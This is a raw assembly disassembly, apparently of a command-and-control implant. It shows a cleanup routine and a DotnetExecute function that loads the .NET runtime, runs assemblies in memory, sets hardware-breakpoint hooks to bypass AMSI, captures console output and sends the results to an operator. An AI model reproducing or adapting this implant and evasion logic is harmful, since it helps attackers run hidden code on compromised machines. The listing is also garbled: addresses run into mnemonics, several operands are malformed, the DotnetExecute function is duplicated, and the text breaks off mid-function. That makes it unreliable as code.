140011b8floc_140011b8f:
140011b8fmov rax, [rbx+2266]
140011b96mov rcx, [rax+104]
140011b9atest rcx, rcx
140011b9dje 0x140011ba4
140011b9fcall SysNtClose
140011ba4
140011ba4loc_140011ba4:
140011ba4mov rax, [rbx+2266]
140011babmov rcx, [rax+72]
140011baftest rcx, rcx
140011bb2je 0x140011bb9
140011bb4call SysNtClose
140011bb9
140011bb9loc_140011bb9:
140011bb9mov rax, [rbx+2266]
140011bc0mov rcx, [rax+80]
140011bc4test rcx, rcx
140011bc7je 0x140011bce
140011bc9call SysNtClose
140011bce
140011bceloc_140011bce:
140011bcemov rax, [rbx+2266]
140011bd5mov rdi, [rax+264]
140011bdctest rdi, rdi
140011bdfje 0x140011c0f
140011be1mov ecx, 1232
140011be6xor eax, eax
140011be8rep stosb [rdi], al
140011beamov rax, [rbx+2266]
140011bf1mov rcx, [rax+264]
140011bf8call [rbx+940]
140011bfemov rax, [rbx+2266]
140011c05xor r8l, r8l
140011c08mov [rax+264], r8
140011c0f
140011c0floc_140011c0f:
140011c0fmov rax, [rbx+2266]
140011c16mov rdi, [rax+272]
140011c1dtest rdi, rdi
140011c20je 0x140011c4f
140011c22mov ecx, 1232
140011c27xor eax, eax
140011c29rep stosb [rdi], al
140011c2bmov rax, [rbx+2266]
140011c32mov rcx, [rax+272]
140011c39call [rbx+940]
140011c3fmov rax, [rbx+2266]
140011c46xor ecx, ecx
140011c48mov [rax+272], rcx
140011c4f
140011c4floc_140011c4f:
140011c4fmov rax, [rbx+2266]
140011c56mov rdi, [rax+280]
140011c5dtest rdi, rdi
140011c60je 0x140011c8f
140011c62mov ecx, 1232
140011c67xor eax, eax
140011c69rep stosb [rdi], al
140011c6bmov rax, [rbx+2266]
140011c72mov rcx, [rax+280]
140011c79call [rbx+940]
140011c7fmov rax, [rbx+2266]
140011c86xor edx, edx
140011c88mov [rax+280], rdx
140011c8f
140011c8floc_140011c8f:
140011c8fmov rax, [rbx+2266]
140011c96mov rdi, [rax+288]
140011c9dtest rdi, rdi
140011ca0je 0x140011ccf
140011ca2mov ecx, 1232
140011ca7xor eax, eax
140011ca9rep stosb [rdi], al
140011cabmov rax, [rbx+2266]
140011cb2xor ebp, ebp
140011cb4mov rcx, [rax+288]
140011cbbcall [rbx+940]
140011cc1mov rax, [rbx+2266]
140011cc8mov [rax+288], rbp
140011ccf
140011ccfloc_140011ccf:
140011ccflea rbp, [rip+0x1aaea]
140011cd6lea rsi, [rip+0x15979]
140011cddmov r8l, 445
140011ce3lea r9, [rip+0x15960]
140011ceamov rdx, rbp
140011cedmov rcx, rsi
140011cf0call printf
140011cf5mov rax, [rbx+2266]
140011cfcmov rdi, [rax+56]
140011d00test rdi, rdi
140011d03je 0x140011d2a
140011d05mov ecx, [rax+64]
140011d08xor eax, eax
140011d0arep stosb [rdi], al
140011d0cmov rax, [rbx+2266]
140011d13xor edi, edi
140011d15mov rcx, [rax+56]
140011d19call [rbx+940]
140011d1fmov rax, [rbx+2266]
140011d26mov [rax+56], rdi
140011d2a
140011d2aloc_140011d2a:
140011d2amov rcx, rsi
140011d2dlea r9, [rip+0x15936]
140011d34mov r8l, 453
140011d3amov rdx, rbp
140011d3dcall printf
140011d42mov rax, [rbx+2266]
140011d49mov rcx, [rax+144]
140011d50test rcx, rcx
140011d53je 0x140011d6b
140011d55call [rbx+1324]
140011d5bmov rax, [rbx+2266]
140011d62xor esi, esi
140011d64mov [rax+144], rsi
140011d6b
140011d6bloc_140011d6b:
140011d6bmov rax, [rbx+2266]
140011d72mov rcx, [rax+200]
140011d79test rcx, rcx
140011d7cje 0x140011d95
140011d7emov rax, [rcx]
140011d81call [rax+16]
140011d84mov rax, [rbx+2266]
140011d8bxor r11l, r11l
140011d8emov [rax+200], r11
140011d95
140011d95loc_140011d95:
140011d95mov rax, [rbx+2266]
140011d9cmov rcx, [rax+176]
140011da3test rcx, rcx
140011da6je 0x140011dbf
140011da8mov rax, [rcx]
140011dabcall [rax+16]
140011daemov rax, [rbx+2266]
140011db5xor r10l, r10l
140011db8mov [rax+176], r10
140011dbf
140011dbfloc_140011dbf:
140011dbfmov rax, [rbx+2266]
140011dc6mov rcx, [rax+192]
140011dcdtest rcx, rcx
140011dd0je 0x140011de9
140011dd2mov rax, [rcx]
140011dd5call [rax+16]
140011dd8mov rax, [rbx+2266]
140011ddfxor r9l, r9l
140011de2mov [rax+192], r9
140011de9
140011de9loc_140011de9:
140011de9mov rax, [rbx+2266]
140011df0mov rcx, [rax+184]
140011df7test rcx, rcx
140011dfaje 0x140011e02
140011dfcmov rax, [rcx]
140011dffcall [rax+16]
140011e02
140011e02loc_140011e02:
140011e02mov rax, [rbx+2266]
140011e09mov rcx, [rax+168]
140011e10test rcx, rcx
140011e13je 0x140011e4a
140011e15mov rdx, [rax+184]
140011e1cmov rax, [rcx]
140011e1fcall [rax+160]
140011e25mov rax, [rbx+2266]
140011e2cmov rcx, [rax+168]
140011e33mov rax, [rcx]
140011e36call [rax+88]
140011e39mov rax, [rbx+2266]
140011e40xor r8l, r8l
140011e43mov [rax+168], r8
140011e4a
140011e4aloc_140011e4a:
140011e4amov rax, [rbx+2266]
140011e51mov rcx, [rax+160]
140011e58test rcx, rcx
140011e5bje 0x140011e73
140011e5dmov rax, [rcx]
140011e60call [rax+16]
140011e63mov rax, [rbx+2266]
140011e6axor ecx, ecx
140011e6cmov [rax+160], rcx
140011e73
140011e73loc_140011e73:
140011e73mov rax, [rbx+2266]
140011e7amov rcx, [rax+152]
140011e81test rcx, rcx
140011e84je 0x140011e9c
140011e86mov rax, [rcx]
140011e89call [rax+16]
140011e8cmov rax, [rbx+2266]
140011e93xor edx, edx
140011e95mov [rax+152], rdx
140011e9c
140011e9cloc_140011e9c:
140011e9cmov rax, [rbx+2266]
140011ea3mov rcx, [rax+96]
140011ea7test rcx, rcx
140011eaaje 0x140011ec3
140011eacxor edx, edx
140011eaecall SysNtTerminateThread
140011eb3mov rax, [rbx+2266]
140011ebamov rcx, [rax+96]
140011ebecall SysNtClose
140011ec3
140011ec3loc_140011ec3:
140011ec3mov rax, [rbx+2266]
140011ecamov rcx, [rax+112]
140011ecetest rcx, rcx
140011ed1je 0x140011ed8
140011ed3call SysNtClose
140011ed8
140011ed8loc_140011ed8:
140011ed8mov rdi, [rbx+2266]
140011edftest rdi, rdi
140011ee2je 0x140011f14
140011ee4mov ecx, 296
140011ee9xor eax, eax
140011eebrep stosb [rdi], al
140011eedmov rax, [rbx+2230]
140011ef4mov r8, [rbx+2266]
140011efbxor edx, edx
140011efdmov rax, [rax+96]
140011f01mov rcx, [rax+48]
140011f05call [rbx+332]
140011f0bxor eax, eax
140011f0dmov [rbx+2266], rax
140011f14
140011f14loc_140011f14:
140011f14add rsp, 40
140011f18pop rbx
140011f19pop rsi
140011f1apop rdi
140011f1bpop rbp
140011f1cret
140011b70
140011f1d
140011f1d // align 0x10
140011f1d // align 0x10
140011f20
140011f20DotnetExecute:
140011f20push rbp
140011f21xor r11l, r11l
140011f24xor eax, eax
140011f26mov rbp, rsp
140011f29push r15
140011f2bpush r14
140011f2dpush r13
140011f2fpush r12
140011f31push rdi
140011f32push rsi
140011f33push rbx
140011f34xor ebx, ebx
140011f36and rsp, -16
140011f3asub rsp, 176
140011f41mov r13, [rcx+8]
140011f45mov rsi, [rcx]
140011f48mov ecx, 6
140011f4dlea rdi, [rsp+152]
140011f55mov [rsp+116], ebx
140011f59mov r14, [rdx]
140011f5crep stosd [rdi], eax
140011f5emov [rsp+128], r11
140011f66mov [rsp+136], r11
140011f6emov [rsp+144], r11
140011f76mov [rsp+120], ebx
140011f7atest r13l, r13l
140011f7dje 0x14001201f
140011f83test rsi, rsi
140011f86je 0x14001201f
140011f8cmov rbx, [rip+0x1a3dd]
140011f93xor r9l, r9l
140011f96xor r10l, r10l
140011f99mov r8l, 4
140011f9fmov edx, 0x80003
140011fa4mov rdi, [rbx+2266]
140011fabmov rcx, [rdi+8]
140011fafmov [rsp+56], r9
140011fb4mov r9l, 255
140011fbamov [rsp+48], r10l
140011fbfmov [rsp+40], 0x50000
140011fc7mov [rsp+32], 0x50000
140011fcfcall [rbx+844]
140011fd5mov [rdi+72], rax
140011fd9mov rdi, [rbx+2266]
140011fe0cmp [rdi+72], 0
140011fe5jne 0x140012026
140011fe7mov rax, [rbx+2230]
140011feemov r8l, 48
140011ff4lea rdx, [rip+0x1b115]
140011ffblea rcx, [rip+0x1590e]
140012002mov r9l, [rax+104]
140012006
140012006loc_140012006:
140012006call printf
14001200bmov rax, [rbx+2230]
140012012mov ecx, 1
140012017mov edx, [rax+104]
14001201acall PackageTransmitError
14001201f
14001201floc_14001201f:
14001201fxor eax, eax
140012021jmp 0x1400126a3
140012026
140012026loc_140012026:
140012026xor r8l, r8l
140012029mov rcx, [rdi+8]
14001202dxor r9l, r9l
140012030mov edx, 0x40000000
140012035mov [rsp+48], r8
14001203amov r8l, 1
140012040mov [rsp+40], 128
140012048mov [rsp+32], 3
140012050call [rbx+812]
140012056mov [rdi+80], rax
14001205atest rax, rax
14001205djne 0x140012080
14001205fmov rax, [rbx+2230]
140012066mov r8l, 56
14001206clea rdx, [rip+0x1b09d]
140012073lea rcx, [rip+0x158ca]
14001207amov r9l, [rax+104]
14001207ejmp 0x140012006
140012080
140012080loc_140012080:
140012080call [rbx+1652]
140012086test rax, rax
140012089jne 0x1400120a7
14001208bcall [rbx+1636]
140012091call [rbx+1652]
140012097mov rcx, rax
14001209atest rax, rax
14001209dje 0x1400120a7
14001209fxor edx, edx
1400120a1call [rbx+1660]
1400120a7
1400120a7loc_1400120a7:
1400120a7mov rax, [rbx+2266]
1400120aelea r12, [rip+0x155a1]
1400120b5mov rcx, [rax+40]
1400120b9lea rdx, [rax+152]
1400120c0lea r9, [rax+168]
1400120c7lea r8, [rax+160]
1400120cecall ClrCreateInstance
1400120d3test eax, eax
1400120d5jne 0x1400120f8
1400120d7lea r9, [rip+0x15895]
1400120demov r8l, 75
1400120e4lea rdx, [rip+0x1b025]
1400120ebmov rcx, r12
1400120eecall printf
1400120f3jmp 0x14001201f
1400120f8
1400120f8loc_1400120f8:
1400120f8cmp [rbx+223], 1
1400120ffjne 0x140012249
140012105lea r9, [rip+0x1587a]
14001210cmov r8l, 108
140012112mov rcx, r12
140012115mov edi, 1
14001211alea rdx, [rip+0x1afef]
140012121call printf
140012126mov rax, [rbx+2266]
14001212dmov ecx, 8193
140012132mov edx, [rax]
140012134call PackageCreateWithRequestID
140012139mov edx, 1
14001213emov rcx, rax
140012141mov [rsp+72], rax
140012146call PackageAddInt32
14001214bcmp [rbx+2214], 0
140012153jne 0x14001215c
140012155call RtAmsi
14001215amov edi, eax
14001215c
14001215cloc_14001215c:
14001215clea rdx, [rip+0x1afad]
140012163mov rcx, r12
140012166lea r9, [rip+0x15835]
14001216dmov r8l, 119
140012173call printf
140012178xor edx, edx
14001217axor ecx, ecx
14001217ccall HwBpEngineInit
140012181test eax, eax
140012183js 0x14001201f
140012189mov rax, [rbx+2230]
140012190mov r15l, [rax+72]
140012194test edi, edi
140012196je 0x1400121e3
140012198lea r9, [rip+0x15814]
14001219fmov r8l, 130
1400121a5lea rdx, [rip+0x1af64]
1400121acmov rcx, r12
1400121afcall printf
1400121b4xor edx, edx
1400121b6mov r8, [rbx+2020]
1400121bdxor ecx, ecx
1400121bfmov [rsp+32], edx
1400121c3lea r9, [rip+15062]
1400121camov edx, r15l
1400121cdcall HwBpEngineAdd
1400121d2mov edi, eax
1400121d4test eax, eax
1400121d6jns 0x1400121e3
1400121d8mov r9l, eax
1400121dbmov r8l, 132
1400121e1jmp 0x14001222c
1400121e3
1400121e3loc_1400121e3:
1400121e3lea r9, [rip+0x1582d]
1400121eamov r8l, 138
1400121f0lea rdx, [rip+0x1af19]
1400121f7mov rcx, r12
1400121facall printf
1400121ffmov r8, [rbx+748]
140012206xor ecx, ecx
140012208mov edx, r15l
14001220bmov [rsp+32], 1
140012213lea r9, [rip+15046]
14001221acall HwBpEngineAdd
14001221ftest eax, eax
140012221jns 0x14001223f
140012223mov r9l, edi
140012226mov r8l, 140
14001222c
14001222cloc_14001222c:
14001222clea rdx, [rip+0x1aedd]
140012233lea rcx, [rip+0x1579f]
14001223ajmp 0x14001267e
14001223f
14001223floc_14001223f:
14001223fmov rcx, [rsp+72]
140012244call PackageTransmit
140012249
140012249loc_140012249:
140012249mov rax, [rbx+2266]
140012250mov ecx, 8193
140012255mov edx, [rax]
140012257call PackageCreateWithRequestID
14001225cmov edx, 2
140012261mov rcx, rax
140012264mov rdi, rax
140012267call PackageAddInt32
14001226cmov rax, [rbx+2266]
140012273mov rcx, rdi
140012276mov rdx, [rax+40]
14001227amov r8l, [rax+48]
14001227ecall PackageAddBytes
140012283mov rcx, rdi
140012286call PackageTransmit
14001228bmov rdi, [rbx+2266]
140012292xor eax, eax
140012294lea r8, [rsp+128]
14001229cmov edx, 1
1400122a1mov ecx, 17
1400122a6mov [rsp+128], r13l
1400122aemov [rsp+132], eax
1400122b5call [rbx+1300]
1400122bblea r9, [rip+0x15779]
1400122c2mov r8l, 165
1400122c8mov rcx, r12
1400122cbmov [rdi+136], rax
1400122d2lea rdx, [rip+0x1ae37]
1400122d9call printf
1400122demov rax, [rbx+2266]
1400122e5xor r8l, r8l
1400122e8mov rcx, [rax+168]
1400122efmov rdx, [rax+24]
1400122f3lea r9, [rax+184]
1400122famov r10, [rcx]
1400122fdcall [r10+96]
140012301mov r8l, 167
140012307lea rdx, [rip+0x1ae02]
14001230elea rcx, [rip+0x15736]
140012315mov r9l, eax
140012318test eax, eax
14001231ajne 0x14001267e
140012320lea r9, [rip+0x1574d]
140012327mov r8l, 171
14001232dlea rdx, [rip+0x1addc]
140012334mov rcx, r12
140012337call printf
14001233cmov rax, [rbx+2266]
140012343lea rdx, [rip+0x12cb6]
14001234amov rcx, [rax+184]
140012351lea r8, [rax+192]
140012358mov r9, [rcx]
14001235bcall [r9]
14001235emov r8l, 173
140012364lea rdx, [rip+0x1ada5]
14001236blea rcx, [rip+0x15714]
140012372mov r9l, eax
140012375test eax, eax
140012377jne 0x14001267e
14001237dmov rax, [rbx+2266]
140012384lea rdx, [rsp+136]
14001238cmov rcx, [rax+136]
140012393call [rbx+1284]
140012399mov r8l, 178
14001239flea rdx, [rip+0x1ad6a]
1400123a6lea rcx, [rip+0x15704]
1400123admov r9l, eax
1400123b0test eax, eax
1400123b2jne 0x14001267e
1400123b8lea r9, [rip+0x15722]
1400123bfmov r8l, 182
1400123c5lea rdx, [rip+0x1ad44]
1400123ccmov rcx, r12
1400123cfcall printf
1400123d4mov rdi, [rsp+136]
1400123dcmov ecx, r13l
1400123dfrep movsb [rdi], [rsi]
1400123e1mov rax, [rbx+2266]
1400123e8mov rcx, [rax+136]
1400123efcall [rbx+1292]
1400123f5mov r9l, eax
1400123f8test eax, eax
1400123faje 0x140012429
1400123fclea rdx, [rip+0x1ad0d]
140012403lea rcx, [rip+0x156f2]
14001240amov r8l, 186
140012410call printf
140012415mov rax, [rbx+2230]
14001241cmov ecx, 1
140012421mov edx, [rax+104]
140012424call PackageTransmitError
140012429
140012429loc_140012429:
140012429lea r9, [rip+0x156fe]
140012430mov r8l, 190
140012436lea rdx, [rip+0x1acd3]
14001243dmov rcx, r12
140012440call printf
140012445mov rax, [rbx+2266]
14001244cmov rcx, [rax+192]
140012453mov rdx, [rax+136]
14001245alea r8, [rax+176]
140012461mov r9, [rcx]
140012464call [r9+360]
14001246bmov r8l, 192
140012471lea rdx, [rip+0x1ac98]
140012478lea rcx, [rip+0x156c1]
14001247fmov r9l, eax
140012482test eax, eax
140012484jne 0x14001267e
14001248alea r9, [rip+0x156d5]
140012491mov r8l, 196
140012497lea rdx, [rip+0x1ac72]
14001249emov rcx, r12
1400124a1call printf
1400124a6mov rdx, [rbx+2266]
1400124admov rcx, [rdx+176]
1400124b4add rdx, 200
1400124bbmov rax, [rcx]
1400124becall [rax+128]
1400124c4mov r8l, 198
1400124calea rdx, [rip+0x1ac3f]
1400124d1lea rcx, [rip+0x156a5]
1400124d8mov r9l, eax
1400124dbtest eax, eax
1400124ddjne 0x14001267e
1400124e3mov rsi, [rbx+2266]
1400124eaxor edx, edx
1400124ecmov ecx, 12
1400124f1mov [rsp+72], eax
1400124f5mov r8l, 1
1400124fbcall [rbx+1308]
140012501lea rdx, [rsp+116]
140012506mov rcx, r14
140012509mov [rsi+144], rax
140012510call [rbx+1628]
140012516mov rdi, [rbx+2266]
14001251dxor edx, edx
14001251fmov ecx, 8
140012524mov rsi, rax
140012527mov eax, [rsp+116]
14001252bmov [rdi+208], 8200
140012534lea r8l, [rax-1]
140012538mov [rsp+116], r8l
14001253dcall [rbx+1308]
140012543mov r9l, [rsp+72]
140012548mov [rdi+216], rax
14001254flea rdi, [rsp+124]
140012554
140012554loc_140012554:
140012554mov [rsp+124], r9l
140012559mov r12, [rbx+1316]
140012560cmp [rsp+116], r9l
140012565jle 0x1400125b6
140012567movsxd r9, r9l
14001256amov rcx, [rsi+8*r9+8]
14001256fcall [rbx+1332]
140012575mov rdx, rdi
140012578mov r8, rax
14001257bmov rax, [rbx+2266]
140012582mov rcx, [rax+216]
140012589call r12
14001258cmov r9l, eax
14001258ftest eax, eax
140012591je 0x1400125ac
140012593mov r8l, 213
140012599lea rdx, [rip+0x1ab70]
1400125a0lea rcx, [rip+0x15606]
1400125a7jmp 0x14001267e
1400125ac
1400125acloc_1400125ac:
1400125acmov eax, [rsp+124]
1400125b0lea r9l, [rax+1]
1400125b4jmp 0x140012554
1400125b6
1400125b6loc_1400125b6:
1400125b6mov rax, [rbx+2266]
1400125bdlea rdx, [rsp+120]
1400125c2mov rcx, [rax+144]
1400125c9lea r8, [rax+208]
1400125d0call r12
1400125d3mov r8l, 219
1400125d9lea rdx, [rip+0x1ab30]
1400125e0lea rcx, [rip+0x155fb]
1400125e7mov r9l, eax
1400125eatest eax, eax
1400125ecjne 0x14001267e
1400125f2mov rsi, [rbx+2266]
1400125f9mov ecx, -11
1400125fecall [rbx+1668]
140012604mov ecx, -11
140012609mov [rsi+88], rax
14001260dmov rax, [rbx+2266]
140012614mov rdx, [rax+80]
140012618call [rbx+1676]
14001261emov rax, [rbx+2266]
140012625mov rdx, [rsp+168]
14001262dmovups x0, [rsp+152]
140012635mov rcx, [rax+200]
14001263cmov [rsp+96], rdx
140012641lea r9, [rax+232]
140012648lea rdx, [rsp+80]
14001264dmovups [rsp+80], x0
140012652mov r8, [rax+144]
140012659mov r10, [rcx]
14001265ccall [r10+296]
140012663mov r9l, eax
140012666test eax, eax
140012668je 0x140012688
14001266amov r8l, 227
140012670lea rdx, [rip+0x1aa99]
140012677lea rcx, [rip+0x15594]
14001267e
14001267eloc_14001267e:
14001267ecall printf
140012683jmp 0x14001201f
140012688
140012688loc_140012688:
140012688mov rax, [rbx+2266]
14001268fmov [rax+256], 1
140012699call DotnetPush
14001269emov eax, 1
1400126a3
1400126a3loc_1400126a3:
1400126a3lea rsp, [rbp-56]
1400126a7pop rbx
1400126a8pop rsi
1400126a9pop rdi
1400126aapop r12
1400126acpop r13
1400126aepop r14
1400126b0pop r15
1400126b2pop rbp
1400126b3ret
140011f20
140011f20DotnetExecute:
140011f20push rbp
140011f21xor r11l, r11l
140011f24xor eax, eax
140011f26mov rbp, rsp
140011f29push r15
140011f2bpush r14
140011f2dpush r13
140011f2fpush r12
140011f31push rdi
140011f32push rsi
140011f33push rbx
140011f34xor ebx, ebx
140011f36and rsp, -16
140011f3asub rsp, 176
140011f41mov r13, [rcx+8]
140011f45mov rsi, [rcx]
140011f48mov ecx, 6
140011f4dlea rdi, [rsp+152]
140011f55mov [rsp+116], ebx
140011f59mov r14, [rdx]
140011f5crep stosd [rdi], eax
140011f5emov [rsp+128], r11
140011f66mov [rsp+136], r11
140011f6emov [rsp+144], r11
140011f76mov [rsp+120], ebx
140011f7atest r13l, r13l
140011f7dje 0x14001201f
140011f83test rsi, rsi
140011f86je 0x14001201f
140011f8cmov rbx, [rip+0x1a3dd]
140011f93xor r9l, r9l
140011f96xor r10l, r10l
140011f99mov r8l, 4
140011f9fmov edx, 0x80003
140011fa4mov rdi, [rbx+2266]
140011fabmov rcx, [rdi+8]
140011fafmov [rsp+56], r9
140011fb4mov r9l, 255
140011fbamov [rsp+48], r10l
140011fbfmov [rsp+40], 0x50000
140011fc7mov [rsp+32], 0x50000
140011fcfcall [rbx+844]
140011fd5mov [rdi+72], rax
140011fd9mov rdi, [rbx+2266]
140011fe0cmp [rdi+72], 0
140011fe5jne 0x140012026
140011fe7mov rax, [rbx+2230]
140011feemov r8l, 48
140011ff4lea rdx, [rip+0x1b115]
140011ffblea rcx, [rip+0x1590e]
140012002mov r9l, [rax+104]
140012006
140012006loc_140012006:
140012006call printf
14001200bmov rax, [rbx+2230]
140012012mov ecx, 1
140012017mov edx, [rax+104]
14001201acall PackageTransmitError
14001201f
14001201floc_14001201f:
14001201fxor eax, eax
140012021jmp 0x1400126a3
140012026
140012026loc_140012026:
140012026xor r8l, r8l
140012029mov rcx, [rdi+8]
14001202dxor r9l, r9l
140012030mov edx, 0x40000000
140012035mov [rsp+48], r8
14001203amov r8l, 1
140012040mov [rsp+40], 128
140012048mov [rsp+32], 3
140012050call [rbx+812]
140012056mov [rdi+80], rax
14001205atest rax, rax
14001205djne 0x140012080
14001205fmov rax, [rbx+2230]
140012066mov r8l, 56
14001206clea rdx, [rip+0x1b09d]
140012073lea rcx, [rip+0x158ca]
14001207amov r9l, [rax+104]
14001207ejmp 0x140012006
140012080
140012080loc_140012080:
140012080call [rbx+1652]
140012086test rax, rax
140012089jne 0x1400120a7
14001208bcall [rbx+1636]
140012091call [rbx+1652]
140012097mov rcx, rax
14001209atest rax, rax
14001209dje 0x1400120a7
14001209fxor edx, edx
1400120a1call [rbx+1660]
1400120a7
1400120a7loc_1400120a7:
1400120a7mov rax, [rbx+2266]
1400120aelea r12, [rip+0x155a1]
1400120b5mov rcx, [rax+40]
1400120b9lea rdx, [rax+152]
1400120c0lea r9, [rax+168]
1400120c7lea r8, [rax+160]
1400120cecall ClrCreateInstance
1400120d3test eax, eax
1400120d5jne 0x1400120f8
1400120d7lea r9, [rip+0x15895]
1400120demov r8l, 75
1400120e4lea rdx, [rip+0x1b025]
1400120ebmov rcx, r12
1400120eecall printf
1400120f3jmp 0x14001201f
1400120f8
1400120f8loc_1400120f8:
1400120f8cmp [rbx+223], 1
1400120ffjne 0x140012249
140012105lea r9, [rip+0x1587a]
14001210cmov r8l, 108
140012112mov rcx, r12
140012115mov edi, 1
14001211alea rdx, [rip+0x1afef]
140012121call printf
140012126mov rax, [rbx+2266]
14001212dmov ecx, 8193
140012132mov edx, [rax]
140012134call PackageCreateWithRequestID
140012139mov edx, 1
14001213emov rcx, rax
140012141mov [rsp+72], rax
140012146call PackageAddInt32
14001214bcmp [rbx+2214], 0
140012153jne 0x14001215c
140012155call RtAmsi
14001215amov edi, eax
14001215c
14001215cloc_14001215c:
14001215clea rdx, [rip+0x1afad]
140012163mov rcx, r12
140012166lea r9, [rip+0x15835]
14001216dmov r8l, 119
140012173call printf
140012178xor edx, edx
14001217axor ecx, ecx
14001217ccall HwBpEngineInit
140012181test eax, eax
140012183js 0x14001201f
140012189mov rax, [rbx+2230]
140012190mov r15l, [rax+72]
140012194test edi, edi
140012196je 0x1400121e3
140012198lea r9, [rip+0x15814]
14001219fmov r8l, 130
1400121a5lea rdx, [rip+0x1af64]
1400121acmov rcx, r12
1400121afcall printf
1400121b4xor edx, edx
1400121b6mov r8, [rbx+2020]
1400121bdxor ecx, ecx
1400121bfmov [rsp+32], edx
1400121c3lea r9, [rip+15062]
1400121camov edx, r15l
1400121cdcall HwBpEngineAdd
1400121d2mov edi, eax
1400121d4test eax, eax
1400121d6jns 0x1400121e3
1400121d8mov r9l, eax
1400121dbmov r8l, 132
1400121e1jmp 0x14001222c
1400121e3
1400121e3loc_1400121e3:
1400121e3lea r9, [rip+0x1582d]
1400121eamov r8l, 138
1400121f0lea rdx, [rip+0x1af19]
1400121f7mov rcx, r12
1400121facall printf
1400121ffmov r8, [rbx+748]
140012206xor ecx, ecx
140012208mov edx, r15l
14001220bmov [rsp+32], 1
140012213lea r9, [rip+15046]
14001221acall HwBpEngineAdd
14001221ftest eax, eax
140012221jns 0x14001223f
140012223mov r9l, edi
140012226mov r8l, 140
14001222c
14001222cloc_14001222c:
14001222clea rdx, [rip+0x1aedd]
140012233lea rcx, [rip+0x1579f]
14001223ajmp 0x14001267e
14001223f
14001223floc_14001223f:
14001223fmov rcx, [rsp+72]
140012244call PackageTransmit
140012249
140012249loc_140012249:
140012249mov rax, [rbx+2266]
140012250mov ecx, 8193
140012255mov edx, [rax]
140012257call PackageCreateWithRequestID
14001225cmov edx, 2
140012261mov rcx, rax
140012264mov rdi, rax
140012267call PackageAddInt32
14001226cmov rax, [rbx+2266]
140012273mov rcx, rdi
140012276mov rdx, [rax+40]
14001227amov r8l, [rax+48]
14001227ecall PackageAddBytes
140012283mov rcx, rdi
140012286call PackageTransmit
14001228bmov rdi, [rbx+2266]
140012292xor eax, eax
140012294lea r8, [rsp+128]
14001229cmov edx, 1
1400122a1mov ecx, 17
1400122a6mov [rsp+128], r13l
1400122aemov [rsp+132], eax
1400122b5call [rbx+1300]
1400122bblea r9, [rip+0x15779]
1400122c2mov r8l, 165
1400122c8mov rcx, r12
1400122cbmov [rdi+136], rax
1400122d2lea rdx, [rip+0x1ae37]
1400122d9call printf
1400122demov rax, [rbx+2266]
1400122e5xor r8l, r8l
1400122e8mov rcx, [rax+168]
1400122efmov rdx, [rax+24]
1400122f3lea r9, [rax+184]
1400122famov r10, [rcx]
1400122fdcall [r10+96]
140012301mov r8l, 167
140012307lea rdx, [rip+0x1ae02]
14001230elea rcx, [rip+0x15736]
140012315mov r9l, eax
140012318test eax, eax
14001231ajne 0x14001267e
140012320lea r9, [rip+0x1574d]
140012327mov r8l, 171
14001232dlea rdx, [rip+0x1addc]
140012334mov rcx, r12
140012337call printf
14001233cmov rax, [rbx+2266]
140012343lea rdx, [rip+0x12cb6]
14001234amov rcx, [rax+184]
140012351lea r8, [rax+192]
140012358mov r9, [rcx]
14001235bcall [r9]
14001235emov r8l, 173
140012364lea rdx, [rip+0x1ada5]
14001236blea rcx, [rip+0x15714]
140012372mov r9l, eax
140012375test eax, eax
140012377jne 0x14001267e
14001237dmov rax, [rbx+2266]
140012384lea rdx, [rsp+136]
14001238cmov rcx, [rax+136]
140012393call [rbx+1284]
140012399mov r8l, 178
14001239flea rdx, [rip+0x1ad6a]
1400123a6lea rcx, [rip+0x15704]
1400123admov r9l, eax
1400123b0test eax, eax
1400123b2jne 0x14001267e
1400123b8lea r9, [rip+0x15722]
1400123bfmov r8l, 182
1400123c5lea rdx, [rip+0x1ad44]
1400123ccmov rcx, r12
1400123cfcall printf
1400123d4mov rdi, [rsp+136]
1400123dcmov ecx, r13l
1400123dfrep movsb [rdi], [rsi]
1400123e1mov rax, [rbx+2266]
1400123e8mov rcx, [rax+136]
1400123efcall [rbx+1292]
1400123f5mov r9l, eax
1400123f8test eax, eax
1400123faje 0x140012429
1400123fclea rdx, [rip+0x1ad0d]
140012403lea rcx, [rip+0x156f2]
14001240amov r8l, 186
140012410call printf
140012415mov rax, [rbx+2230]
14001241cmov ecx, 1
140012421mov edx, [rax+104]
140012424call PackageTransmitError
140012429
140012429loc_140012429:
140012429lea r9, [rip+0x156fe]
140012430mov r8l, 190
140012436lea rdx, [rip+0x1acd3]
14001243dmov rcx, r12
140012440call printf
140012445mov rax, [rbx+2266]
14001244cmov rcx, [rax+192]
140012453mov rdx, [rax+136]
14001245alea r8, [rax+176]
140012461mov r9, [rcx]
140012464call [r9+360]
14001246bmov r8l, 192
140012471lea rdx, [rip+0x1ac98]
140012478lea rcx, [rip+0x156c1]
14001247fmov r9l, eax
140012482test eax, eax
140012484jne 0x14001267e
14001248alea r9, [rip+0x156d5]
140012491mov r8l, 196
140012497lea rdx, [rip+0x1ac72]
14001249emov rcx, r12
1400124a1call printf
1400124a6mov rdx, [rbx+2266]
1400124admov rcx, [rdx+176]
1400124b4add rdx, 200
1400124bbmov rax, [rcx]
1400124becall [rax+128]
1400124c4mov r8l, 198
1400124calea rdx, [rip+0x1ac3f]
1400124d1lea rcx, [rip+0x156a5]
1400124d8mov r9l, eax
1400124dbtest eax, eax
1400124ddjne 0x14001267e
1400124e3mov rsi, [rbx+2266]
1400124eaxor edx, edx
1400124ecmov ecx, 12
1400124f1mov [rsp+72], eax
1400124f5mov r8l, 1
1400124fbcall [rbx+1308]
140012501lea rdx, [rsp+116]
140012506mov rcx, r14
140012509mov [rsi+144], rax
140012510call [rbx+1628]
140012516mov rdi, [rbx+2266]
14001251dxor edx, edx
14001251fmov ecx, 8
140012524mov rsi, rax
140012527mov eax, [rsp+116]
14001252bmov [rdi+208], 8200
140012534lea r8l, [rax-1]
140012538mov [rsp+116], r8l
14001253dcall [rbx+1308]
140012543mov r9l, [rsp+72]
140012548mov [rdi+216], rax
14001254flea rdi, [rsp+124]
140012554
140012554loc_140012554:
140012554mov [rsp+124], r9l
140012559mov r12, [rbx+1316]
140012560cmp [rsp+116], r9l
140012565jle 0x1400125b6
140012567movsxd r9, r9l
14001256amov rcx, [rsi+8*r9+8]
14001256fcall [rbx+1332]
140012575mov rdx, rdi
140012578mov r8, rax
14001257bmov rax, [rbx+2266]
140012582mov rcx, [rax+216]
140012589call r12
14001258cmov r9l, eax
14001258ftest eax, eax
140012591je 0x1400125ac
140012593mov r8l, 213
140012599lea rdx, [rip+0x1ab70]
1400125a0lea rcx, [rip+0x15606]
1400125a7jmp 0x14001267e
1400125ac
